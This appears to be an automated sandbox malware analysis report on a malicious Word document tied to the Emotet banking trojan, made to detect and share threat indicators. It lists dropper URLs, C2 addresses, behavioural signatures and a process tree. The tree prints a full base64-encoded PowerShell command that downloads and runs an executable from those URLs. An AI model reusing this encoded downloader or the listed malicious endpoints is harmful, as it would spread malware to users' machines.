Overview

overview

10

Static

static

8

SecuriteIn...52.doc

windows7_x64

10

SecuriteIn...52.doc

windows10_x64

10

Analysis

  • max time kernel
    60s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01/08/2020, 19:37

Sharing

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General

  • Target
    SecuriteInfo.com.Exploit.Siggen2.12924.1168.4752.doc
  • Size 173KB
  • Sample200801-eclzez2tj2
  • SHA256 b920bae96043cfc55017d7a67bb6c5caac098cfce2620c6348e63cf4f7842378
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.ifitmoves.net/option-tree/age9k_r7p_0l2/
  • exe.dropper

    http://goldenstatetow.com/peradice.com/jk_le4_xip2a7s6/
  • exe.dropper

    http://philosopherswheel.com/mizeo9/y_6pth_ymkgef/
  • exe.dropper

    http://highlevelphoto.co.uk/Clients/7uf_yp_76rqsyz/
  • exe.dropper

    http://klem.com.pl/tester/ntts3_j_3cgou2/

Extracted

Family

  • emotet

C2

  • 142.105.151.124:443

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 71.208.216.10:80

  • 108.48.41.69:80

  • 83.110.223.58:443

  • 210.165.156.91:80

  • 104.131.44.150:8080

  • 104.236.246.93:8080

  • 5.39.91.110:7080

  • 209.141.54.221:8080

  • 209.182.216.177:443

  • 153.126.210.205:7080

  • 91.211.88.52:7080

  • 180.92.239.110:8080

  • 183.101.175.193:80

  • 162.241.92.219:8080

  • 87.106.139.101:8080

  • 114.146.222.200:80

  • 65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12924.1168.4752.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1092
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAEQASgBSAEoAbwBjAGEAPQAnAE4ARABYAEYAUwBwAGwAZwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBpAGAAVAB5AFAAUgBPAFQAbwBgAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABXAEIATQBBAEYAbQBzAGoAIAA9ACAAJwA2ADcANAAnADsAJABBAEEASABaAFoAdQBzAGUAPQAnAFcAQgBUAE0AWgBjAGEAbQAnADsAJABJAEYAWgBBAFYAdQBjAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFcAQgBNAEEARgBtAHMAagArACcALgBlAHgAZQAnADsAJABSAFYATABYAFYAZwBvAGUAPQAnAFEASQBXAE8AWgB2AHgAaQAnADsAJABKAEcATwBaAEcAbQBwAHcAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBOAFQAOwAkAEIAVwBCAEIASQBpAG8AZwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGkAZgBpAHQAbQBvAHYAZQBzAC4AbgBlAHQALwBvAHAAdABpAG8AbgAtAHQAcgBlAGUALwBhAGcAZQA5AGsAXwByADcAcABfADAAbAAyAC8AKgBoAHQAdABwADoALwAvAGcAbwBsAGQAZQBuAHMAdABhAHQAZQB0AG8AdwAuAGMAbwBtAC8AcABlAHIAYQBkAGkAYwBlAC4AYwBvAG0ALwBqAGsAXwBsAGUANABfAHgAaQBwADIAYQA3AHMANgAvACoAaAB0AHQAcAA6AC8ALwBwAGgAaQBsAG8AcwBvAHAAaABlAHIAcwB3AGgAZQBlAGwALgBjAG8AbQAvAG0AaQB6AGUAbwA5AC8AeQBfADYAcAB0AGgAXwB5AG0AawBnAGUAZgAvACoAaAB0AHQAcAA6AC8ALwBoAGkAZwBoAGwAZQB2AGUAbABwAGgAbwB0AG8ALgBjAG8ALgB1AGsALwBDAGwAaQBlAG4AdABzAC8ANwB1AGYAXwB5AHAAXwA3ADYAcgBxAHMAeQB6AC8AKgBoAHQAdABwADoALwAvAGsAbABlAG0ALgBjAG8AbQAuAHAAbAAvAHQAZQBzAHQAZQByAC8AbgB0AHQAcwAzAF8AagBfADMAYwBnAG8AdQAyAC8AJwAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEUASwBXAFIAagBxAGQAPQAnAFQAUgBZAEMAUwBkAHUAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBIAEcARgBKAGkAZwBxACAAaQBuACAAJABCAFcAQgBCAEkAaQBvAGcAKQB7AHQAcgB5AHsAJABKAEcATwBaAEcAbQBwAHcALgAiAGQAbwB3AE4AYABMAG8AYABBAGAAZABGAEkATABlACIAKAAkAFcASABHAEYASgBpAGcAcQAsACAAJABJAEYAWgBBAFYAdQBjAGkAKQA7ACQASgBEAEYAQgBLAHUAZQBiAD0AJwBQAEgAQwBZAFAAcQB4AGIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABJAEYAWgBBAFYAdQBjAGkAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADYAMQA4ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAYABBAHQARQAiACgAJABJAEYAWgBBAFYAdQBjAGkAKQA7ACQAVQBFAEIASABSAHUAdgBuAD0AJwBOAFEAVABVAEsAegBuAGYAJwA7AGIAcgBlAGEAawA7ACQAWABVAFAAUwBQAG4AYQB3AD0AJwBVAEMASQBFAFEAdgBuAHQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBWAE8ARwBQAGgAbQBuAD0AJwBXAE4AUgBZAEIAawB5AGQAJwA=
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    PID:1028
  • C:\Users\Admin\674.exe
    C:\Users\Admin\674.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1836
    • C:\Windows\SysWOW64\SyncInfrastructureps\KBDES.exe
      "C:\Windows\SysWOW64\SyncInfrastructureps\KBDES.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1852

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1092-2-0x0000000008880000-0x0000000008884000-memory.dmp
        Download

        memory/1092-5-0x000000000A9F0000-0x000000000A9F4000-memory.dmp
        Download

        memory/1092-6-0x000000000BA70000-0x000000000BA74000-memory.dmp
        Download

        memory/1092-8-0x0000000006D10000-0x0000000006F10000-memory.dmp
        Download

        memory/1836-11-0x00000000003B0000-0x00000000003BC000-memory.dmp
        Download

        memory/1852-14-0x0000000000330000-0x000000000033C000-memory.dmp
        Download